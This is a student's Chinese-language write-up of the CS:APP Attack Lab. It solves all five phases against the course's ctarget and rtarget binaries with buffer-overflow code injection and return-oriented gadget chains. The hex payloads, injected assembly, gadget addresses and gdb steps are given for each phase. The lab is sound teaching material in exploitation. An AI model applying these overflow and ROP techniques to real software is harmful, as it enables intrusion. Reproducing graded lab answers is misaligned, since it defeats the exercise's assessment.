作业3

题目逻辑实现原理

CSAPP深入理解计算机系统 Lab3(attack Lab) 详解 - 知乎 (zhihu.com)

```C++
cd mp2-learner0904
cd target14
```

实时榜单：

Attack Lab Scoreboard (iit.edu)

```C++
objdump -d ctarget > ctarget_assembly.txt
objdump -d rtarget > rtarget_assembly.txt
```

拷贝到本地：

```C++
scp yli395@fourier.cs.iit.edu:/home/class/fall-24/cs351/yli395/mp2-learner0904/target14/ctarget_assembly.txt /home/li-0904/test
```

题目逻辑实现原理

题目中

输入的字符会放入栈中，函数调用读取时会分配一定的空间，一旦输入的字符串超出这个空间大小，就会导致溢出。

溢出的部分会放入栈的下一层（也就是原本 return 调用的地址），相当于使用 ret 实现了跳转。

1. test 调用的 getbuf 函数在栈中分配了 0x38 （56 字节）的空间，也就是说输入我想需要输入 56 字节的字符，随后在第 57 字节开始输入 touch1 的地址，这样就能使得 ret 调用的时候指向

touch1（覆盖了原本 test 在栈中的地址），从而实现跳转 touch1 函数，而不是跳转回 test 。

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cb 18 40 00 00 00 00 00
```

```
./hex2raw -i a_1.txt | ./ctarget -q
```

2. phase_2 要求 test 调用 touch2，但这里有个问题，touch2 缺少一个参数（cookie），我们需要将这个参数传入进去，同时实现 getbuf 跳转 touch2。
   所以我们要实现额外的代码功能，对 cookie 赋值，这需要代码注入。
   我们知道 rsp 指向栈顶，也就是最后一个放入的指令。对于 gebuf，如果我们对他进行断点，此时 rsp 指向 ret 指令；但如果我们在 getbuf 执行第一条指令，也就是“栈分配”这条指令后，进行断点，rsp 就指向一个空地址（该地址用于我们输入的内容）。
   那么如果我们的 ret 指令的地址被覆盖为了 rsp 的地址呢？这时候若我们输入的字符串是我们添加的 cookie 赋值的代码，则会执行该代码，也就是实现了代码注入（使用 ret 跳转到被注入的代码处）

cookie

```
0x2d6fc2d5
```

touch2

```
00000000004018f7
```

替换 edi 中 cookie 的值（赋值），同时将 touch2 的地址 push 入栈，随后的指令 ret 跳转的地址就是栈中刚被 push 进入的 touch2.

注入的代码

```
mov    $0x2d6fc2d5, %edi
pushq   $0x4018f7
ret
```

将上述代码保存到.s 文件中，使用 gcc 编译成 exe，再使用 objdump 转换为汇编。

```
gcc -c injectcode.s
objdump -d injectcode.o > injectcode.d
```

```
Plain Text
1  Disassembly of section .text:
2
3  0000000000000000 <.text>:
4     0:   bf d5 c2 6f 2d          mov    $0x2d6fc2d5,%edi
5     5:   68 f7 18 40 00          pushq  $0x4018f7
6     a:   c3                      retq
```

在 touch2 分配栈后（第二行）断点：

```
Plain Text
1  b *0x4018b9
```

```
Plain Text
1  (gdb) p $rsp
2  $1 = (void *) 0x5566bd68
```

```
Plain Text
1  bf d5 c2 6f 2d 68 f7 18
2  40 00 c3 00 00 00 00 00
3  00 00 00 00 00 00 00 00
4  00 00 00 00 00 00 00 00
5  00 00 00 00 00 00 00 00
6  00 00 00 00 00 00 00 00
7  00 00 00 00 00 00 00 00
8  68 bd 66 55 00 00 00 00
```

```
Plain Text
1  ./hex2raw -i a_2.txt | ./ctarget -q
```

3. phase_3 相对 2 只要注意一个点：由于函数中使用了 random，导致字符串的存取位置可能会覆盖输入，所以我们不能将 cookie 的字符串作为输入，只能将其放在溢出的栈中。

hexmatch 传入的参数是一个字符串，而字符串在计算机中本质是首位的地址，所以我们只需要往寄存器中放入 cookie 字符串在栈中的地址即可

cookie 转 ascii：

```
Plain Text
1  2d6fc2d5 - 32 64 36 66 63 32 64 35
```

cookie 在栈中的地址原本应该是 test 函数的栈再分配 8 个字节，0x5566bd68 + 0x38 + 0x8 = 0x5566bda8

```
Plain Text
```

```
mov    $0x5566bda8, %edi
pushq   $0x4019c8
ret
```

```
Plain Text
```

```
Disassembly of section .text:

0000000000000000 <.text>:
   0:   bf a8 bd 66 55          mov    $0x5566bda8,%edi
   5:   68 c8 19 40 00          pushq  $0x4019c8
   a:   c3                      retq
```

```
Plain Text
```

```
bf a8 bd 66 55 68 c8 19
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
68 bd 66 55 00 00 00 00
32 64 36 66 63 32 64 35
```

4．phase_2 的变种，需要对原有代码进行切片，从可使用的代码中提取可用指令

原有的 phase_2 注入的代码如下：

```
Plain Text
```

```
mov    $0x2d6fc2d5, %edi
pushq   $0x4018f7
ret
```

现在不能使用代码注入，修改代码结构：

```
Plain Text
```

```
pop %rax        -------- 58
ret             -------- c3
mov %rax,%rdi   -------- 48 89 c7
ret             -------- c3
```

注意，上面的代码的 1、3 行本质都包括了 ret，也就是 c3

```
0000000000401a56 <addval_263>:
  401a56: 8d 87 72 0a d7 58     lea    0x58d70a72(%rdi),%eax
  401a5c: c3                    retq
```

```
0000000000401a5d <addval_285>:
  401a5d: 8d 87 48 89 c7 90     lea    -0x6f3876b8(%rdi),%eax
  401a63: c3                    retq
```

401a5b -------pop

2d6fc2d5 -------cookie

401a5f -------mov

4018f7 -------touch2

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
5b 1a 40 00 00 00 00 00
d5 c2 6f 2d 00 00 00 00
5f 1a 40 00 00 00 00 00
f7 18 40 00 00 00 00 00
```

```
./hex2raw -i a_4.txt | ./rtarget -q
```

5. phase_5 需要访问 touch3，这要利用“现成的 rsp”。因为栈地址随机，我们不知道栈所在的地址，也就不能使用之前的方法，通过写入 cookie 字符串存放的地址，实现 cookie 的读取。这里需要使用一个相对位置，也就是 rsp 确认当前栈的地址，再通过偏移量计算 cookie 的存放地址。

这里需要注意一点：

不同于前面 phase_2 我们直接打印出 rsp 的地址，movq %rsp, %rax 在调用时，已经从栈中弹出，也就是说：

实际上，rsp 已经指向 movq %rsp, %rax 的下一条指令 movq %rax, %rdi，所以偏移量为 8*8=0x40

phase_3 的代码：

```
mov    $0x5566bda8, %edi
pushq   $0x4019c8
ret
```

现在不能使用代码注入，修改代码结构：

（由于缺少完整的指令，在给出的指令中，只有 lea (%rdi,%rsi,1),%rax 能实现地址相加的操作，所以代码构建需要围绕 rdi 和 rsi 进行）

a. 获取 rsp --- movq %rsp, %rax ，由于需要使用 lea 进行地址计算，还需要将 rax 写入 rdi：movq %rax, %rdi

b. 写入偏移量： popq %rax (后面接偏移量大小，这个值被放入 rax，等同于被放入 eax)
接下来需要将 rax 中的数据放入 rsi，但是没有提供该指令片段，只有“movl %ecx, %esi”，所以需要中转几个寄存器，先将 rax （eax）放入 edx，再放入 ecx

c. 计算 cookie

d. 传入 cookie 地址

e. 调用 touch3

Plain Text

```
#地址：401b62
movq %rsp, %rax             48 89 e0 c3
ret

#地址：401a5f
movq %rax, %rdi             48 89 c7 c3
ret

#地址：401a5b
popq %rax                    58 c3
ret

偏移量 0x48

#地址：401b35                89 c2
movl %eax, %edx
ret

#地址：401aa8
movl %edx, %ecx             89 d1
ret

#地址：401a9a
movl %ecx, %esi             89 ce  (没有c3)

#地址：401a93
lea    (%rdi,%rsi,1),%rax    48 8d 04 37 c3
ret

#地址：401a5f
movq %rax, %rdi              48 89 c7 c3
ret

touch3 4019c8

cookie 32 64 36 66 63 32 64 35
```

Plain Text

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
62 1b 40 00 00 00 00 00
5f 1a 40 00 00 00 00 00
5b 1a 40 00 00 00 00 00
48 00 00 00 00 00 00 00
35 1b 40 00 00 00 00 00
a8 1a 40 00 00 00 00 00
9a 1a 40 00 00 00 00 00
93 1a 40 00 00 00 00 00
5f 1a 40 00 00 00 00 00
c8 19 40 00 00 00 00 00
32 64 36 66 63 32 64 35
```

Plain Text

```
./hex2raw -i a_5.txt | ./rtarget -q
```